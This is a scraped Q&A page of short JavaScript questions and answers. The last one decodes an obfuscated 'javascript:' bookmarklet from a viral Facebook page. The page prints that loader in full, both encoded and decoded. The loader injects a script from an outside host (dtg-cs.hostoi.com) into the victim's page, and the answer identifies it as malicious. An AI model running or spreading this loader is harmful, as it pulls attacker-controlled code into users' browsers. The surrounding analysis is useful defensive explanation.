Change coding in java script function [closed] - javascript

Closed. This question needs details or clarity. It is not currently accepting answers.
Want to improve this question? Add details and clarify the problem by editing this post.
Closed 6 years ago.
Improve this question
I have never seen it, but is there a way to modify the existing java script function through the code? Something similar to "ALTER PROCEDURE..." statement in SQL Server?
Thank you!

You can replace any function in Javascript simply by assigning a new function to it, they're merely object properties or simple variables:
Math.max = function () {
return Math.random(); // har har har
};
You cannot trivially "reach into" a function and change something about its internals though, no. Or at least, that would be pretty insane.

Related

Is writing HTML values the same as writing Javascript into HTML? [closed]

Closed. This question needs details or clarity. It is not currently accepting answers.
Want to improve this question? Add details and clarify the problem by editing this post.
Closed 2 years ago.
Improve this question
For my project I am not allowed to write any JavaScript into my HTML according to my teacher. That would mean that I am not allowed to write features like onClick in my HTML. I want to check a answer with the if statement by giving my buttons value's, but isn't that also seen as writing JavaScript into HTML?
I know the best thing to do would be contact my mentor, but I want to know your answer/opinion on this.
you can use JS function to get elements from the HTML such as document.getElementById or document.querySelector and bind them an event listener.
you can read more about on MDN

Came across a javascript code, which I can't read [closed]

Closed. This question needs details or clarity. It is not currently accepting answers.
Want to improve this question? Add details and clarify the problem by editing this post.
Closed 4 years ago.
Improve this question
I came across this java script code and I don't know how I encode it. Here is a part of it:
var _0x6ah4=['a22uo1w=','a2VlcC1h2ZQ==','YMA0aG9y8XVlML==','Z3cCwgZGVmHBbG0ZQ==','Qk1OQ04=','enNHYAM=','P0ASTmI=','RkVPOE9=','Y2AQUEc=']
Can somebody tell me how to convert this into readable code?
var _0x6ah4=['a22uo1w=','a2VlcC1h2ZQ==','YMA0aG9y8XVlML==','Z3cCwgZGVmHBbG0ZQ==','Qk1OQ04=','enNHYAM=','P0ASTmI=','RkVPOE9=','Y2AQUEc=']
Its simple.
variable name _0x6ah4 ,
its an array containing 9 elements.
You can fetch the data using foreach, if you want.
var _0x6ah4=['a22uo1w=','a2VlcC1h2ZQ==','YMA0aG9y8XVlML==','Z3cCwgZGVmHBbG0ZQ==','Qk1OQ04=','enNHYAM=','P0ASTmI=','RkVPOE9=','Y2AQUEc='];
for (var line=1; line<_0x6ah4.length; line++) {
console.log(_0x6ah4[line]);
//if you need to decode , do it here
}

execute dynamically created code in javascript [closed]

Closed. This question needs details or clarity. It is not currently accepting answers.
Want to improve this question? Add details and clarify the problem by editing this post.
Closed 5 years ago.
Improve this question
In javascript I create a certain command:
arrSetContentCommands.push( "$('#titel"+i+"').trumbowyg('html', \""+data[i].value+"\");";`)
This enables me to use a html editor in browser. The id's it needs to use are also created, cause it depends on what's in the database.
how do i execute this? all the commands are placed in an array.
The solution is: Don't create code strings and put them in an array. Just execute the code:
$('#titel'+i).trumbowyg('html', data[i].value);
If those elements don't exist yet, just run this code later when they do, or if for some reason you won't have access to data later, build an array of functions:
arrSetContentCommands.push(function(index, value) {
$('#titel'+index).trumbowyg('html', value);
}(i, data[i].value));
...and later:
arrSetContentCommands.forEach(function(command) {
command();
});
Notice in that we don't use i or data[i] in the function we're pushing; see this question's answers for why not.
If you had a good reason for executing code in a string, you'd do it via new Function(...)(), like this:
arrSetContentCommands.forEach(function(command) {
new Function(command)();
});
But there are very, very, very few cases where that's appropriate, and obviously never do it with code you don't trust.

Create Html template document from Javascript and Php variables [closed]

Closed. This question needs to be more focused. It is not currently accepting answers.
Want to improve this question? Update the question so it focuses on one problem only by editing this post.
Closed 7 years ago.
Improve this question
I am developping an application. As final result the application generates a Html document consisting of variables from external Javascript and Php files.Which is the safest way to pass these variables?.
Thank you very much.
You can use AJAX to do this, you make the request in JS, and process the information in PHP(server side), and you can return an JSON Object with the variables, or simply, return the HTML code and output it.
Hope it helps :D

Can someone decode this javascript? [closed]

Closed. This question needs to be more focused. It is not currently accepting answers.
Want to improve this question? Update the question so it focuses on one problem only by editing this post.
Closed 1 year ago.
Improve this question
I found this javascript in a Facebook viral page here. I think the code is malicious so I would like to know what it does.
Here is the code:
javascript: var _0xa064=["\x73\x72\x63","\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x2F\x2F\x64\x74\x67\x2D\x63\x73\x2E\x68\x6F\x73\x74\x6F\x69\x2E\x63\x6F\x6D\x2F\x70\x72\x6F\x66\x65\x73\x6F\x72\x69\x63\x61\x2F\x66\x75\x72\x6B\x61\x2E\x6A\x73","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x62\x6F\x64\x79"];(a=(b=document)[_0xa064[2]](_0xa064[1]))[_0xa064[0]]=_0xa064[3];b[_0xa064[5]][_0xa064[4]](a); void (0);
(a = (b = document)['createElement']('script'))['src'] = '//dtg-cs.hostoi.com/profesorica/furka.js';
b['body']['appendChild'](a);
void(0);
It creates a script tag that imports
dtg-cs.hostoi.com/profesorica/furka.js
I would strongly suspect that to be something malicious.
edit — as that script includes, among various ajax requests, a reference to a file called "penis-xd.jpg", I think we can definitely treat it as malicious :-)
It tries to load: dtg-cs.hostoi.com/profesorica/furka.js

Categories

Resources